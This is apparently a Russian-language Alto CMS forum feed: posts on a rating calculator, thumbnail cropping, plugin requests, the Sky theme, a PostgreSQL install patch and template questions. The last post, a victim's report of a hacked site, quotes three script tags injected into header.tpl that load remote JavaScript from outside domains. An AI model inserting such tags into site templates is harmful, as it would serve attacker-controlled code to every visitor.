Механизм подсчета рейтинга и силы

Здравствуйте.
Сегодня набрел на топик, решил отписать Автору, но объем не влез в комментарий. По ходу в excel-е наваялся калькулятор, который очень наглядно демонстрирует весь механизм и может помочь в подборе необходимых коэффициентов (картинка оттуда, а все остальное под катом).

Ссылка на файл: http://goo.gl/oWgR9Z Файл с макросами, поэтому excel может ругнуться.

Читать дальше →

Фотосет (+crop)

Честно говоря, перечитывая темы на сайте, я так и не понял, как вывести под статьей загруженные фотосетом изображения определенного размера (например 200Х130px.) с обрезкой crop-ом. И возможно ли это в принципе (?)... Ну да ладно, тут очевидно сказывается моя «недалекость» собственно по сабжу (в частности ресайзинга и crop-а). По этому, если позволите, у меня будет несколько вопросов к сообществу по данной теме. Основной вопрос в следующем: как заставить, или вежливо попросить, фотосет обрезать миниатюры под заданный размер (а не квадратами 1000х1000, 500х500, 100х100, 50х50).

Читать дальше →

Заявка на новый плагин [решено]

Приветствую,

Как правильнее оформлять заявку на разработку нового плагина я не знаю. Оформил как оформил.
От желающих выполнить данную работу :

  1. Прочитать до конца то что написано в ТЗ
  2. Стоимость
  3. Сроки
  4. Вопросы

Ссылка на ТЗ

RSS-карты сайта.

Как я понял, в движке нет функции автоматического создания rss-фидов? Интересно, почему? Даже в задрюканном DLE есть, а здесь нет :С

Редактирование шаблонов.

Столкнулся с такой задачей при редактировании шаблонов, а именно, вот что:
Сначала пытался просто всунуть счётчик ливинтернета в футер.
Открыл файлы шаблона, всё как надо, поместил код, и тут ррраз — и ничего. Он его даже просто в исходный код не загружает.
Гугл решение проблемы мне не подсказал. С Alto работаю только второй день. Надежда на Вас, дамы и господа, может быть разъясните вопросы с шаблонизацией.

В какой блог и каким образом нужно писать и оформлять заявку на разработку платного плагина ?

Приветствую,

Собственно сабж

???

Спасибо за разьяснения

Sky - вывод постов потоком


«Sky Silver» (светлая тема) кликабельно

В продолжении работы над дизайном Sky Show вывод постов потоком.
предыдущие части
Sky — серия дизайнов для Alto CMS
Страница профиля для дизайна Sky

Как и раньше основной акцент ставился на юзабилити и контент. Появилась новая тема Sky Silver, хотелось, чтобы она получилась светлой и легкой.

Так же есть большое желание, чтобы шаблон Sky был бесплатным и шел в коробке Alto CMS, по предварительной договоренности разработчики Alto согласны. Разработка и краудфандинг шаблона — тема отдельного поста.

Читать дальше →

Alto CMS: установка на PostgreSQL (обновлено 29.05.2014)

UPDATE: 29.05.2014
Стабильная версия. Добавлена совместимость с текущим репозиторием.
Изменения в дамп базы вносились вручную, просьба протестировать.

UPDATE: 25.02.2014
Наведен порядок с последовательностями, у полей user_login и user_mail изменен тип на citext для работы поиска без учёта регистра.
Поддержка вводится запросом CREATE EXTENSION, который появился в PostgreSQL 9.1. В случае с версиями 8.4 и 9.0 необходимо установить данное расширение из contrib/citext.sql дистрибутива базы.

UPDATE: 20.02.2014
Небольшой тюнинг схемы (IP адреса теперь имеют тип inet, timestamp теперь без временной зоны) + обновлён патч.

UPDATE: 17.02.2014
Обновил патч под текущий master, исправил несколько недочётов. В config.local.php.txt ввёл стандартные для PostgreSQL настройки.


Предлагаю потестировать Alto CMS в связке с PostgreSQL.
Патч пока пробный, в production не использовался.
Установщик /install не адаптировался — слишком уж он заточен на mysql.
Да и без него процедура установки не должна вызвать каких-либо проблем.

Итак, приступим к установке:

Читать дальше →

Языковой файл (ru.php)

Продолжаю свое знакомство с Alto. И снова прошу помощи у специалистов.
Собственно что имеем. В языковом файле есть следующие параметры вывода слов для кнопки вступления и выхода из Блога:
'blog_join' => 'вступить в блог',
'blog_leave' => 'покинуть блог',

Сама кнопка (приведу на всякий случай всю конструкцию):
{if $oUserCurrent}
    {if $oUserCurrent->getId() != $oBlog->getOwnerId() and $oBlog->getType() == 'open'}
        <button type="submit"  onclick="ls.blog.toggleJoin(this, {$oBlog->getId()}); return false;">
            <span>{if $oBlog->getUserIsJoin()}{$aLang.blog_leave}{else}{$aLang.blog_join}{/if}</span>
        </button>
    {else}
        {$aLang.blog_join_error_self}
    {/if}
{/if}

Т.е. и {$aLang.blog_leave}, и {$aLang.blog_join} на месте
{if $oBlog->getUserIsJoin()}{$aLang.blog_leave}{else}{$aLang.blog_join}{/if}

По идее, кнопка должна отображать текст: «вступить в блог» и «покинуть блог».
Но на сайте у нас совсем другая картинка:

Откуда скрипт вытягивает эти слова?
«Читать», «Не читать».

P.S.: Возможно, объяснение этому уже есть, тут на сайте. Но я не смог найти... (возможно из-за не правильной формулировки запросов в поиске). Прошу ткнуть меня носом, если таковое объяснение есть. Спасибо!

Взломали сайт и ставили гадости в шаблон

Сегодня взломали сайт и вставили гадости в шаблон, а именно в файл header.tpl

<script language='javascript' charset='UTF-8' type='text/javascript' src='http://ulog.tk/top'></script>
<script type="text/javascript" charset="windows-1251" src="http://ulog.tk/top_top"></script>	
<script async charset="UTF-8" type="text/javascript" src="http://pigmont.ru/14ytsv99hv15g3sge8sh198a9rffglmrb68b"></script>


как взломали не знаю.